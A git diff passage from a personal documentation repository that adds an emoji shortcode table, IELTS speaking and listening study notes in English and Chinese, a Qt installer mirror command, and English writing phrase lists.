`:blossom:` | +| :ear_of_rice: `:ear_of_rice:` | :shell: `:shell:` | :globe_with_meridians: `:globe_with_meridians:` | +| :sun_with_face: `:sun_with_face:` | :full_moon_with_face: `:full_moon_with_face:` | :new_moon_with_face: `:new_moon_with_face:` | +| :new_moon: `:new_moon:` | :waxing_crescent_moon: `:waxing_crescent_moon:` | :first_quarter_moon: `:first_quarter_moon:` | +| :waxing_gibbous_moon: `:waxing_gibbous_moon:` | :full_moon: `:full_moon:` | :waning_gibbous_moon: `:waning_gibbous_moon:` | +| :last_quarter_moon: `:last_quarter_moon:` | :waning_crescent_moon: `:waning_crescent_moon:` | :last_quarter_moon_with_face: `:last_quarter_moon_with_face:` | +| :first_quarter_moon_with_face: `:first_quarter_moon_with_face:` | :moon: `:moon:` | :earth_africa: `:earth_africa:` | +| :earth_americas: `:earth_americas:` | :earth_asia: `:earth_asia:` | :volcano: `:volcano:` | +| :milky_way: `:milky_way:` | :partly_sunny: `:partly_sunny:` | :octocat: `:octocat:` | +| :squirrel: `:squirrel:` | | | + +## Objects + +| | | | +| ------------------------------------------------------------------- | ----------------------------------------------------------- | --------------------------------------------------- | +| :bamboo: `:bamboo:` | :gift_heart: `:gift_heart:` | :dolls: `:dolls:` | +| :school_satchel: `:school_satchel:` | :mortar_board: `:mortar_board:` | :flags: `:flags:` | +| :fireworks: `:fireworks:` | :sparkler: `:sparkler:` | :wind_chime: `:wind_chime:` | +| :rice_scene: `:rice_scene:` | :jack_o_lantern: `:jack_o_lantern:` | :ghost: `:ghost:` | +| :santa: `:santa:` | :christmas_tree: `:christmas_tree:` | :gift: `:gift:` | +| :bell: `:bell:` | :no_bell: `:no_bell:` | :tanabata_tree: `:tanabata_tree:` | +| :tada: `:tada:` | :confetti_ball: `:confetti_ball:` | :balloon: `:balloon:` | +| :crystal_ball: `:crystal_ball:` | :cd: `:cd:` | :dvd: `:dvd:` | +| :floppy_disk: `:floppy_disk:` | :camera: `:camera:` | :video_camera: `:video_camera:` | +| :movie_camera: `:movie_camera:` | :computer: `:computer:` | :tv: `:tv:` | +| :iphone: `:iphone:` | :phone: `:phone:` | :telephone: `:telephone:` | +| :telephone_receiver: `:telephone_receiver:` | :pager: `:pager:` | :fax: `:fax:` | +| :minidisc: `:minidisc:` | :vhs: `:vhs:` | :sound: `:sound:` | +| :speaker: `:speaker:` | :mute: `:mute:` | :loudspeaker: `:loudspeaker:` | +| :mega: `:mega:` | :hourglass: `:hourglass:` | :hourglass_flowing_sand: `:hourglass_flowing_sand:` | +| :alarm_clock: `:alarm_clock:` | :watch: `:watch:` | :radio: `:radio:` | +| :satellite: `:satellite:` | :loop: `:loop:` | :mag: `:mag:` | +| :mag_right: `:mag_right:` | :unlock: `:unlock:` | :lock: `:lock:` | +| :lock_with_ink_pen: `:lock_with_ink_pen:` | :closed_lock_with_key: `:closed_lock_with_key:` | :key: `:key:` | +| :bulb: `:bulb:` | :flashlight: `:flashlight:` | :high_brightness: `:high_brightness:` | +| :low_brightness: `:low_brightness:` | :electric_plug: `:electric_plug:` | :battery: `:battery:` | +| :calling: `:calling:` | :email: `:email:` | :mailbox: `:mailbox:` | +| :postbox: `:postbox:` | :bath: `:bath:` | :bathtub: `:bathtub:` | +| :shower: `:shower:` | :toilet: `:toilet:` | :wrench: `:wrench:` | +| :nut_and_bolt: `:nut_and_bolt:` | :hammer: `:hammer:` | :seat: `:seat:` | +| :moneybag: `:moneybag:` | :yen: `:yen:` | :dollar: `:dollar:` | +| :pound: `:pound:` | :euro: `:euro:` | :credit_card: `:credit_card:` | +| :money_with_wings: `:money_with_wings:` | :e-mail: `:e-mail:` | :inbox_tray: `:inbox_tray:` | +| :outbox_tray: `:outbox_tray:` | :envelope: `:envelope:` | :incoming_envelope: `:incoming_envelope:` | +| :postal_horn: `:postal_horn:` | :mailbox_closed: `:mailbox_closed:` | :mailbox_with_mail: `:mailbox_with_mail:` | +| :mailbox_with_no_mail: `:mailbox_with_no_mail:` | :door: `:door:` | :smoking: `:smoking:` | +| :bomb: `:bomb:` | :gun: `:gun:` | :hocho: `:hocho:` | +| :pill: `:pill:` | :syringe: `:syringe:` | :page_facing_up: `:page_facing_up:` | +| :page_with_curl: `:page_with_curl:` | :bookmark_tabs: `:bookmark_tabs:` | :bar_chart: `:bar_chart:` | +| :chart_with_upwards_trend: `:chart_with_upwards_trend:` | :chart_with_downwards_trend: `:chart_with_downwards_trend:` | :scroll: `:scroll:` | +| :clipboard: `:clipboard:` | :calendar: `:calendar:` | :date: `:date:` | +| :card_index: `:card_index:` | :file_folder: `:file_folder:` | :open_file_folder: `:open_file_folder:` | +| :scissors: `:scissors:` | :pushpin: `:pushpin:` | :paperclip: `:paperclip:` | +| :black_nib: `:black_nib:` | :pencil2: `:pencil2:` | :straight_ruler: `:straight_ruler:` | +| :triangular_ruler: `:triangular_ruler:` | :closed_book: `:closed_book:` | :green_book: `:green_book:` | +| :blue_book: `:blue_book:` | :orange_book: `:orange_book:` | :notebook: `:notebook:` | +| :notebook_with_decorative_cover: `:notebook_with_decorative_cover:` | :ledger: `:ledger:` | :books: `:books:` | +| :bookmark: `:bookmark:` | :name_badge: `:name_badge:` | :microscope: `:microscope:` | +| :telescope: `:telescope:` | :newspaper: `:newspaper:` | :football: `:football:` | +| :basketball: `:basketball:` | :soccer: `:soccer:` | :baseball: `:baseball:` | +| :tennis: `:tennis:` | :8ball: `:8ball:` | :rugby_football: `:rugby_football:` | +| :bowling: `:bowling:` | :golf: `:golf:` | :mountain_bicyclist: `:mountain_bicyclist:` | +| :bicyclist: `:bicyclist:` | :horse_racing: `:horse_racing:` | :snowboarder: `:snowboarder:` | +| :swimmer: `:swimmer:` | :surfer: `:surfer:` | :ski: `:ski:` | +| :spades: `:spades:` | :hearts: `:hearts:` | :clubs: `:clubs:` | +| :diamonds: `:diamonds:` | :gem: `:gem:` | :ring: `:ring:` | +| :trophy: `:trophy:` | :musical_score: `:musical_score:` | :musical_keyboard: `:musical_keyboard:` | +| :violin: `:violin:` | :space_invader: `:space_invader:` | :video_game: `:video_game:` | +| :black_joker: `:black_joker:` | :flower_playing_cards: `:flower_playing_cards:` | :game_die: `:game_die:` | +| :dart: `:dart:` | :mahjong: `:mahjong:` | :clapper: `:clapper:` | +| :memo: `:memo:` | :pencil: `:pencil:` | :book: `:book:` | +| :art: `:art:` | :microphone: `:microphone:` | :headphones: `:headphones:` | +| :trumpet: `:trumpet:` | :saxophone: `:saxophone:` | :guitar: `:guitar:` | +| :shoe: `:shoe:` | :sandal: `:sandal:` | :high_heel: `:high_heel:` | +| :lipstick: `:lipstick:` | :boot: `:boot:` | :shirt: `:shirt:` | +| :tshirt: `:tshirt:` | :necktie: `:necktie:` | :womans_clothes: `:womans_clothes:` | +| :dress: `:dress:` | :running_shirt_with_sash: `:running_shirt_with_sash:` | :jeans: `:jeans:` | +| :kimono: `:kimono:` | :bikini: `:bikini:` | :ribbon: `:ribbon:` | +| :tophat: `:tophat:` | :crown: `:crown:` | :womans_hat: `:womans_hat:` | +| :mans_shoe: `:mans_shoe:` | :closed_umbrella: `:closed_umbrella:` | :briefcase: `:briefcase:` | +| :handbag: `:handbag:` | :pouch: `:pouch:` | :purse: `:purse:` | +| :eyeglasses: `:eyeglasses:` | :fishing_pole_and_fish: `:fishing_pole_and_fish:` | :coffee: `:coffee:` | +| :tea: `:tea:` | :sake: `:sake:` | :baby_bottle: `:baby_bottle:` | +| :beer: `:beer:` | :beers: `:beers:` | :cocktail: `:cocktail:` | +| :tropical_drink: `:tropical_drink:` | :wine_glass: `:wine_glass:` | :fork_and_knife: `:fork_and_knife:` | +| :pizza: `:pizza:` | :hamburger: `:hamburger:` | :fries: `:fries:` | +| :poultry_leg: `:poultry_leg:` | :meat_on_bone: `:meat_on_bone:` | :spaghetti: `:spaghetti:` | +| :curry: `:curry:` | :fried_shrimp: `:fried_shrimp:` | :bento: `:bento:` | +| :sushi: `:sushi:` | :fish_cake: `:fish_cake:` | :rice_ball: `:rice_ball:` | +| :rice_cracker: `:rice_cracker:` | :rice: `:rice:` | :ramen: `:ramen:` | +| :stew: `:stew:` | :oden: `:oden:` | :dango: `:dango:` | +| :egg: `:egg:` | :bread: `:bread:` | :doughnut: `:doughnut:` | +| :custard: `:custard:` | :icecream: `:icecream:` | :ice_cream: `:ice_cream:` | +| :shaved_ice: `:shaved_ice:` | :birthday: `:birthday:` | :cake: `:cake:` | +| :cookie: `:cookie:` | :chocolate_bar: `:chocolate_bar:` | :candy: `:candy:` | +| :lollipop: `:lollipop:` | :honey_pot: `:honey_pot:` | :apple: `:apple:` | +| :green_apple: `:green_apple:` | :tangerine: `:tangerine:` | :lemon: `:lemon:` | +| :cherries: `:cherries:` | :grapes: `:grapes:` | :watermelon: `:watermelon:` | +| :strawberry: `:strawberry:` | :peach: `:peach:` | :melon: `:melon:` | +| :banana: `:banana:` | :pear: `:pear:` | :pineapple: `:pineapple:` | +| :sweet_potato: `:sweet_potato:` | :eggplant: `:eggplant:` | :tomato: `:tomato:` | +| :corn: `:corn:` | | | + +## Places + +| | | | +| --------------------------------------------- | ----------------------------------------------------- | --------------------------------------------------- | +| :house: `:house:` | :house_with_garden: `:house_with_garden:` | :school: `:school:` | +| :office: `:office:` | :post_office: `:post_office:` | :hospital: `:hospital:` | +| :bank: `:bank:` | :convenience_store: `:convenience_store:` | :love_hotel: `:love_hotel:` | +| :hotel: `:hotel:` | :wedding: `:wedding:` | :church: `:church:` | +| :department_store: `:department_store:` | :european_post_office: `:european_post_office:` | :city_sunrise: `:city_sunrise:` | +| :city_sunset: `:city_sunset:` | :japanese_castle: `:japanese_castle:` | :european_castle: `:european_castle:` | +| :tent: `:tent:` | :factory: `:factory:` | :tokyo_tower: `:tokyo_tower:` | +| :japan: `:japan:` | :mount_fuji: `:mount_fuji:` | :sunrise_over_mountains: `:sunrise_over_mountains:` | +| :sunrise: `:sunrise:` | :stars: `:stars:` | :statue_of_liberty: `:statue_of_liberty:` | +| :bridge_at_night: `:bridge_at_night:` | :carousel_horse: `:carousel_horse:` | :rainbow: `:rainbow:` | +| :ferris_wheel: `:ferris_wheel:` | :fountain: `:fountain:` | :roller_coaster: `:roller_coaster:` | +| :ship: `:ship:` | :speedboat: `:speedboat:` | :boat: `:boat:` | +| :sailboat: `:sailboat:` | :rowboat: `:rowboat:` | :anchor: `:anchor:` | +| :rocket: `:rocket:` | :airplane: `:airplane:` | :helicopter: `:helicopter:` | +| :steam_locomotive: `:steam_locomotive:` | :tram: `:tram:` | :mountain_railway: `:mountain_railway:` | +| :bike: `:bike:` | :aerial_tramway: `:aerial_tramway:` | :suspension_railway: `:suspension_railway:` | +| :mountain_cableway: `:mountain_cableway:` | :tractor: `:tractor:` | :blue_car: `:blue_car:` | +| :oncoming_automobile: `:oncoming_automobile:` | :car: `:car:` | :red_car: `:red_car:` | +| :taxi: `:taxi:` | :oncoming_taxi: `:oncoming_taxi:` | :articulated_lorry: `:articulated_lorry:` | +| :bus: `:bus:` | :oncoming_bus: `:oncoming_bus:` | :rotating_light: `:rotating_light:` | +| :police_car: `:police_car:` | :oncoming_police_car: `:oncoming_police_car:` | :fire_engine: `:fire_engine:` | +| :ambulance: `:ambulance:` | :minibus: `:minibus:` | :truck: `:truck:` | +| :train: `:train:` | :station: `:station:` | :train2: `:train2:` | +| :bullettrain_front: `:bullettrain_front:` | :bullettrain_side: `:bullettrain_side:` | :light_rail: `:light_rail:` | +| :monorail: `:monorail:` | :railway_car: `:railway_car:` | :trolleybus: `:trolleybus:` | +| :ticket: `:ticket:` | :fuelpump: `:fuelpump:` | :vertical_traffic_light: `:vertical_traffic_light:` | +| :traffic_light: `:traffic_light:` | :warning: `:warning:` | :construction: `:construction:` | +| :beginner: `:beginner:` | :atm: `:atm:` | :slot_machine: `:slot_machine:` | +| :busstop: `:busstop:` | :barber: `:barber:` | :hotsprings: `:hotsprings:` | +| :checkered_flag: `:checkered_flag:` | :crossed_flags: `:crossed_flags:` | :izakaya_lantern: `:izakaya_lantern:` | +| :moyai: `:moyai:` | :circus_tent: `:circus_tent:` | :performing_arts: `:performing_arts:` | +| :round_pushpin: `:round_pushpin:` | :triangular_flag_on_post: `:triangular_flag_on_post:` | :jp: `:jp:` | +| :kr: `:kr:` | :cn: `:cn:` | :us: `:us:` | +| :fr: `:fr:` | :es: `:es:` | :it: `:it:` | +| :ru: `:ru:` | :gb: `:gb:` | :uk: `:uk:` | +| :de: `:de:` | | | + +## Symbols + +| | | | +| --------------------------------------------------------------------- | ------------------------------------------------------------- | --------------------------------------------------------- | +| :one: `:one:` | :two: `:two:` | :three: `:three:` | +| :four: `:four:` | :five: `:five:` | :six: `:six:` | +| :seven: `:seven:` | :eight: `:eight:` | :nine: `:nine:` | +| :keycap_ten: `:keycap_ten:` | :1234: `:1234:` | :zero: `:zero:` | +| :hash: `:hash:` | :symbols: `:symbols:` | :arrow_backward: `:arrow_backward:` | +| :arrow_down: `:arrow_down:` | :arrow_forward: `:arrow_forward:` | :arrow_left: `:arrow_left:` | +| :capital_abcd: `:capital_abcd:` | :abcd: `:abcd:` | :abc: `:abc:` | +| :arrow_lower_left: `:arrow_lower_left:` | :arrow_lower_right: `:arrow_lower_right:` | :arrow_right: `:arrow_right:` | +| :arrow_up: `:arrow_up:` | :arrow_upper_left: `:arrow_upper_left:` | :arrow_upper_right: `:arrow_upper_right:` | +| :arrow_double_down: `:arrow_double_down:` | :arrow_double_up: `:arrow_double_up:` | :arrow_down_small: `:arrow_down_small:` | +| :arrow_heading_down: `:arrow_heading_down:` | :arrow_heading_up: `:arrow_heading_up:` | :leftwards_arrow_with_hook: `:leftwards_arrow_with_hook:` | +| :arrow_right_hook: `:arrow_right_hook:` | :left_right_arrow: `:left_right_arrow:` | :arrow_up_down: `:arrow_up_down:` | +| :arrow_up_small: `:arrow_up_small:` | :arrows_clockwise: `:arrows_clockwise:` | :arrows_counterclockwise: `:arrows_counterclockwise:` | +| :rewind: `:rewind:` | :fast_forward: `:fast_forward:` | :information_source: `:information_source:` | +| :ok: `:ok:` | :twisted_rightwards_arrows: `:twisted_rightwards_arrows:` | :repeat: `:repeat:` | +| :repeat_one: `:repeat_one:` | :new: `:new:` | :top: `:top:` | +| :up: `:up:` | :cool: `:cool:` | :free: `:free:` | +| :ng: `:ng:` | :cinema: `:cinema:` | :koko: `:koko:` | +| :signal_strength: `:signal_strength:` | :u5272: `:u5272:` | :u5408: `:u5408:` | +| :u55b6: `:u55b6:` | :u6307: `:u6307:` | :u6708: `:u6708:` | +| :u6709: `:u6709:` | :u6e80: `:u6e80:` | :u7121: `:u7121:` | +| :u7533: `:u7533:` | :u7a7a: `:u7a7a:` | :u7981: `:u7981:` | +| :sa: `:sa:` | :restroom: `:restroom:` | :mens: `:mens:` | +| :womens: `:womens:` | :baby_symbol: `:baby_symbol:` | :no_smoking: `:no_smoking:` | +| :parking: `:parking:` | :wheelchair: `:wheelchair:` | :metro: `:metro:` | +| :baggage_claim: `:baggage_claim:` | :accept: `:accept:` | :wc: `:wc:` | +| :potable_water: `:potable_water:` | :put_litter_in_its_place: `:put_litter_in_its_place:` | :secret: `:secret:` | +| :congratulations: `:congratulations:` | :m: `:m:` | :passport_control: `:passport_control:` | +| :left_luggage: `:left_luggage:` | :customs: `:customs:` | :ideograph_advantage: `:ideograph_advantage:` | +| :cl: `:cl:` | :sos: `:sos:` | :id: `:id:` | +| :no_entry_sign: `:no_entry_sign:` | :underage: `:underage:` | :no_mobile_phones: `:no_mobile_phones:` | +| :do_not_litter: `:do_not_litter:` | :non-potable_water: `:non-potable_water:` | :no_bicycles: `:no_bicycles:` | +| :no_pedestrians: `:no_pedestrians:` | :children_crossing: `:children_crossing:` | :no_entry: `:no_entry:` | +| :eight_spoked_asterisk: `:eight_spoked_asterisk:` | :eight_pointed_black_star: `:eight_pointed_black_star:` | :heart_decoration: `:heart_decoration:` | +| :vs: `:vs:` | :vibration_mode: `:vibration_mode:` | :mobile_phone_off: `:mobile_phone_off:` | +| :chart: `:chart:` | :currency_exchange: `:currency_exchange:` | :aries: `:aries:` | +| :taurus: `:taurus:` | :gemini: `:gemini:` | :cancer: `:cancer:` | +| :leo: `:leo:` | :virgo: `:virgo:` | :libra: `:libra:` | +| :scorpius: `:scorpius:` | :sagittarius: `:sagittarius:` | :capricorn: `:capricorn:` | +| :aquarius: `:aquarius:` | :pisces: `:pisces:` | :ophiuchus: `:ophiuchus:` | +| :six_pointed_star: `:six_pointed_star:` | :negative_squared_cross_mark: `:negative_squared_cross_mark:` | :a: `:a:` | +| :b: `:b:` | :ab: `:ab:` | :o2: `:o2:` | +| :diamond_shape_with_a_dot_inside: `:diamond_shape_with_a_dot_inside:` | :recycle: `:recycle:` | :end: `:end:` | +| :on: `:on:` | :soon: `:soon:` | :clock1: `:clock1:` | +| :clock130: `:clock130:` | :clock10: `:clock10:` | :clock1030: `:clock1030:` | +| :clock11: `:clock11:` | :clock1130: `:clock1130:` | :clock12: `:clock12:` | +| :clock1230: `:clock1230:` | :clock2: `:clock2:` | :clock230: `:clock230:` | +| :clock3: `:clock3:` | :clock330: `:clock330:` | :clock4: `:clock4:` | +| :clock430: `:clock430:` | :clock5: `:clock5:` | :clock530: `:clock530:` | +| :clock6: `:clock6:` | :clock630: `:clock630:` | :clock7: `:clock7:` | +| :clock730: `:clock730:` | :clock8: `:clock8:` | :clock830: `:clock830:` | +| :clock9: `:clock9:` | :clock930: `:clock930:` | :heavy_dollar_sign: `:heavy_dollar_sign:` | +| :copyright: `:copyright:` | :registered: `:registered:` | :tm: `:tm:` | +| :x: `:x:` | :heavy_exclamation_mark: `:heavy_exclamation_mark:` | :bangbang: `:bangbang:` | +| :interrobang: `:interrobang:` | :o: `:o:` | :heavy_multiplication_x: `:heavy_multiplication_x:` | +| :heavy_plus_sign: `:heavy_plus_sign:` | :heavy_minus_sign: `:heavy_minus_sign:` | :heavy_division_sign: `:heavy_division_sign:` | +| :white_flower: `:white_flower:` | :100: `:100:` | :heavy_check_mark: `:heavy_check_mark:` | +| :ballot_box_with_check: `:ballot_box_with_check:` | :radio_button: `:radio_button:` | :link: `:link:` | +| :curly_loop: `:curly_loop:` | :wavy_dash: `:wavy_dash:` | :part_alternation_mark: `:part_alternation_mark:` | +| :trident: `:trident:` | :black_square: `:black_square:` | :white_square: `:white_square:` | +| :white_check_mark: `:white_check_mark:` | :black_square_button: `:black_square_button:` | :white_square_button: `:white_square_button:` | +| :black_circle: `:black_circle:` | :white_circle: `:white_circle:` | :red_circle: `:red_circle:` | +| :large_blue_circle: `:large_blue_circle:` | :large_blue_diamond: `:large_blue_diamond:` | :large_orange_diamond: `:large_orange_diamond:` | +| :small_blue_diamond: `:small_blue_diamond:` | :small_orange_diamond: `:small_orange_diamond:` | :small_red_triangle: `:small_red_triangle:` | +| :small_red_triangle_down: `:small_red_triangle_down:` | :shipit: `:shipit:` | | diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/Speaking/Hobbies.md" "b/docs/\345\205\266\344\273\226/Archived/IELTS/Speaking/Hobbies.md" new file mode 100644 index 000000000..18427a50f --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/IELTS/Speaking/Hobbies.md" @@ -0,0 +1,64 @@ +IELTS Speaking: Speak **natural** spoken English. + +## Different types of free time activities + +1. Indoor activities: playing games, reading, watching TV/Films, Chilling out/hanging out with friends. +2. Outdoor activities: sports, gardening, travelling, going shopping. +3. Collecting things: stamps, coins, NFTs(Non-fungible token). +4. Creative activities: playing a musical instrument, painting, taking photos. + +## What you do in your free time + +1. I get up to a lot of things. +2. I don't get up to much. +3. I like to do yoga. I like doing yoga. +4. I'm **fond of** playing video games. +5. I'm **into** playing video games. +6. I'm **passionate about** playing video games. +7. I like to **dabble in** cooking. I dabble in \_\_. +8. I play the guitar **for fun**. + +**Tip**: If a verb follows a preposition it must be a gerund. + +## Adverbs to talk about your hobby + +1. I **often** paint. I **regularly** paint. I **frequently** paint. +2. I paint **whenever I can**. +3. I paint **as often as I can**. +4. I paint **whenever I get a chance**. +5. I don't paint **as much as I would like**. +6. I don't **get round to** painting **as much as I would like**. + +## Use different tenses + +1. I **started** painting a couple of years age. +2. I **decided** to **have a go at** painting. (To **have a go at** something = to try something new) +3. I decided to **try my hand at** painting. +4. I've been playing football **as long as I can remember**. +5. I've been painting **for donkey's years**. (For donkey's years = for a long time) + +## Benefits of Hobbies + +1. To relax. +2. To stay healthy. +3. To socialize. + +Templates: + +1. It (just) helps me \_\_: + - unwind. + - kick back. + - chill out. +2. I find that it helps me \_\_: + - get into shape. + - keep fit. + - stay in shape. +3. It allows me to (just) \_\_: + - to hang out with friends. + - to meet up with friends. + - to chill out with friends. +4. It's a nice way to \_\_. +5. It has a calming effect. +6. It's really therapeutic. +7. It's a great stress buster. + diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/Speaking/Part 2 Tips.md" "b/docs/\345\205\266\344\273\226/Archived/IELTS/Speaking/Part 2 Tips.md" new file mode 100644 index 000000000..654908cc6 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/IELTS/Speaking/Part 2 Tips.md" @@ -0,0 +1,32 @@ + +## Plan a clear structure + +Time: 1 min. + +1. Get an idea. +2. Prepare structure. + +## Be direct + +Time: 1 - 2 mins. + +Keep talking until the examiner stops your. + +Get to the point. + +## Use flexible templates + +1. I'd like to kick off by telling you \_\_. +2. This took place _2 month age_. +3. It's one of the _most amazing_ places I have visited. + +## Use cohesive devices + +**Cohesive devices**: words or little phrases that connect sentences and ideas. +AKA: discourse markers, linkers, connectors. +- First of all. To kick off. +- After that. Next. +- Anyway. +- Finally. In the end. + +## Get into the flow diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\344\270\252\344\272\272\344\277\241\346\201\257\350\241\250.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\344\270\252\344\272\272\344\277\241\346\201\257\350\241\250.png" new file mode 100644 index 000000000..3cb21bd81 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\344\270\252\344\272\272\344\277\241\346\201\257\350\241\250.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\345\234\260\345\233\276\351\242\230.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\345\234\260\345\233\276\351\242\230.png" new file mode 100644 index 000000000..eabd675c9 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\345\234\260\345\233\276\351\242\230.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\345\244\232\351\200\211\351\242\230.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\345\244\232\351\200\211\351\242\230.png" new file mode 100644 index 000000000..e7f6871b4 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\345\244\232\351\200\211\351\242\230.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\346\217\220\347\272\262\345\241\253\347\251\272\350\241\250.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\346\217\220\347\272\262\345\241\253\347\251\272\350\241\250.png" new file mode 100644 index 000000000..15c1db92d Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\346\217\220\347\272\262\345\241\253\347\251\272\350\241\250.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\346\265\201\347\250\213\345\233\276.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\346\265\201\347\250\213\345\233\276.png" new file mode 100644 index 000000000..17ab9e28f Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\346\265\201\347\250\213\345\233\276.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\244\272\346\204\217\345\233\276.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\244\272\346\204\217\345\233\276.png" new file mode 100644 index 000000000..c46aa66c7 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\244\272\346\204\217\345\233\276.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\256\200\347\255\224\351\242\230.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\256\200\347\255\224\351\242\230.png" new file mode 100644 index 000000000..27a15fb29 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\256\200\347\255\224\351\242\230.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\272\265\346\250\252\350\241\250.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\272\265\346\250\252\350\241\250.png" new file mode 100644 index 000000000..cf6f80d2e Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\347\272\265\346\250\252\350\241\250.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\351\205\215\345\257\271\351\242\230.png" "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\351\205\215\345\257\271\351\242\230.png" new file mode 100644 index 000000000..88a2a318b Binary files /dev/null and "b/docs/\345\205\266\344\273\226/Archived/IELTS/assets/\351\205\215\345\257\271\351\242\230.png" differ diff --git "a/docs/\345\205\266\344\273\226/Archived/IELTS/\345\220\254\345\212\233.md" "b/docs/\345\205\266\344\273\226/Archived/IELTS/\345\220\254\345\212\233.md" new file mode 100644 index 000000000..90f32fe78 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/IELTS/\345\220\254\345\212\233.md" @@ -0,0 +1,64 @@ +# 听力 + +## 评分标准 + +| 得分 | 正确题数 | +| ---- | -------- | +| 5 | 16-19 | +| 5.5 | 20-22 | +| 6 | 23-26 | +| 6.5 | 27-29 | +| 7 | 30-32 | +| 7.5 | 33-34 | +| 8 | 35-36 | +| 8.5 | 37-38 | +| 9 | 39-40 | + +以 7 分为例, 错误题数至多 10 题, 每部分错题数量应保持在 1, 2, 3, 4 及以内. + +## 题型设置 + +- 表格(form/notes/table). + + ![个人信息表](assets/个人信息表.png) + ![提纲填空表](assets/提纲填空表.png) + ![纵横表](assets/纵横表.png) + +- 句子填空(sentence completion). +- 简答(short-answer questions). + + ![简答题](assets/简答题.png) + + 回答问题, 字数通常在 3 以内. + +- 图形(plan/map/diagram labelling/flow-chart) + + ![地图题](assets/地图题.png) + ![示意图](assets/示意图.png) + ![流程图](assets/流程图.png) + +- 选择(multiple choice). + + ![多选题](assets/多选题.png) + + 通常为 5 选 2 或 7 选 3. + +- 配对(matching). + + ![配对题](assets/配对题.png) + +## 题型分布 + +通常题型分布为: + +1. 填空题. +2. 单选, 多选, 配对, 图形. (生活场景) +3. 单选, 多选, 配对, 图形. (难题: 学术场景+题型复杂) +4. 填空题. + +## 答题方法 + +- 顺寻: 一定的顺序的. +- 所听即所得 (仅填空): 不需要进行任何后期处理. +- 同义替换 (仅选择). +- 关键词: 名词 (如专有名词/数字, 占答案的 80%, 可能会重读)/限定词/信号词 (如 but/in fact/actually/so). diff --git "a/docs/\345\205\266\344\273\226/Archived/Qt.md" "b/docs/\345\205\266\344\273\226/Archived/Qt.md" new file mode 100644 index 000000000..353e9fdc8 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/Qt.md" @@ -0,0 +1,8 @@ +# Qt + + + +```console +> qt-unified-windows-x64-4.6.1-online.exe --mirror https://mirrors.aliyun.com/qt +> qt-unified-windows-x64-4.6.1-online.exe --mirror https://mirrors.tuna.tsinghua.edu.cn/qt +``` diff --git "a/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\206\231\344\275\234\347\273\203\344\271\240.md" "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\206\231\344\275\234\347\273\203\344\271\240.md" new file mode 100644 index 000000000..fab5b1239 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\206\231\344\275\234\347\273\203\344\271\240.md" @@ -0,0 +1,3 @@ +# 写作练习 + +[原文](https://gist.github.com/ShenMian/654b84acc5618758dd706ab54dc62141). \ No newline at end of file diff --git "a/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\206\231\344\275\234\351\253\230\351\242\221\347\237\255\350\257\255.md" "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\206\231\344\275\234\351\253\230\351\242\221\347\237\255\350\257\255.md" new file mode 100644 index 000000000..88ab7f132 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\206\231\344\275\234\351\253\230\351\242\221\347\237\255\350\257\255.md" @@ -0,0 +1,28 @@ +# 写作高频短语 + +## 科技类 + +| English | Chinese | +| ------------------------------------- | ------------------------ | +| boost efficiency | | +| boost productivity | | +| work more efficiency | | +| save time and energy | | +| techological innovations | | +| provide people more choices | | +| work remotely | 远程上班(work from home) | +| have more freedom | | +| have more job opportunities | | +| create jobs | 创造就业 | +| contribute to the economy | | +| boost economic growth | | +| study at their own pace | 按他们适应的进度学习 | +| keep in touch with family and friends | | +| interact with their friends online | | +| exchange ideas and information | | +| share photos and videos | | +| online community | 网络社区 | +| find information quickly and easily | | + +!!! info + 部分简单短语不写出对应中文. diff --git "a/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\210\266\344\275\234\346\265\201\347\250\213.md" "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\210\266\344\275\234\346\265\201\347\250\213.md" new file mode 100644 index 000000000..38e0ec2b4 --- /dev/null +++ 